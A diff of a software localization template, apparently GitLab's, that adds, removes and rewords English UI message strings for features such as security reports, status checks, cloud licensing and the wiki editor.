@@ -29248,7 +29047,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29311,6 +29110,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29416,6 +29218,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29518,9 +29323,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29551,9 +29353,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29656,9 +29464,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29752,7 +29557,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29791,10 +29596,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29836,9 +29641,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29881,6 +29683,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29971,6 +29776,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -30151,9 +29959,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -30178,6 +29983,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30202,9 +30010,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30232,9 +30037,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30268,12 +30070,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30322,6 +30118,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30655,9 +30454,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30760,6 +30556,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30826,12 +30625,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30865,9 +30658,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30910,9 +30700,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30964,6 +30751,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30982,6 +30772,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -31084,15 +30877,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31309,12 +31093,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31333,7 +31123,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31363,6 +31153,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31450,6 +31243,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31459,9 +31255,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31816,6 +31609,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31834,7 +31630,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31906,9 +31708,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31921,7 +31720,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31969,7 +31768,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31984,7 +31783,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31993,10 +31792,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32188,6 +31987,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32548,7 +32350,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32557,6 +32359,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32566,6 +32371,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32599,9 +32407,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32635,7 +32440,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32665,6 +32470,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32740,6 +32548,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32761,15 +32572,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32854,18 +32665,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32929,9 +32734,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32950,10 +32752,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32968,9 +32770,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32980,9 +32779,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -33001,9 +32797,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -33145,9 +32938,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33268,6 +33058,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33343,6 +33136,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33376,7 +33172,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33472,6 +33268,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33511,9 +33310,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33598,7 +33394,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34339,9 +34135,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34426,9 +34228,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34528,9 +34327,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34543,6 +34351,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34591,6 +34402,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -35071,12 +34891,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -35167,21 +34981,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35317,9 +35116,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35656,9 +35452,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35788,6 +35590,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -36085,9 +35890,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -36097,9 +35899,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -36181,9 +35989,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36271,6 +36076,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36289,9 +36097,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36325,6 +36130,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36394,7 +36202,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36535,7 +36346,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36667,6 +36478,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36967,6 +36781,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36976,6 +36799,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -37177,7 +37003,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37198,6 +37024,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37213,16 +37042,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37237,10 +37066,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37510,6 +37345,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37549,9 +37387,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37729,21 +37564,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37807,9 +37639,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37969,12 +37798,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -38002,18 +37825,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -38026,12 +37843,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -38101,12 +37912,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -38191,6 +38008,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38200,6 +38020,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38293,6 +38116,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38350,12 +38176,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38380,6 +38215,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38398,9 +38236,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38704,6 +38539,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38791,6 +38629,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38872,9 +38713,6 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39262,6 +39100,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39298,9 +39139,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39361,7 +39199,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
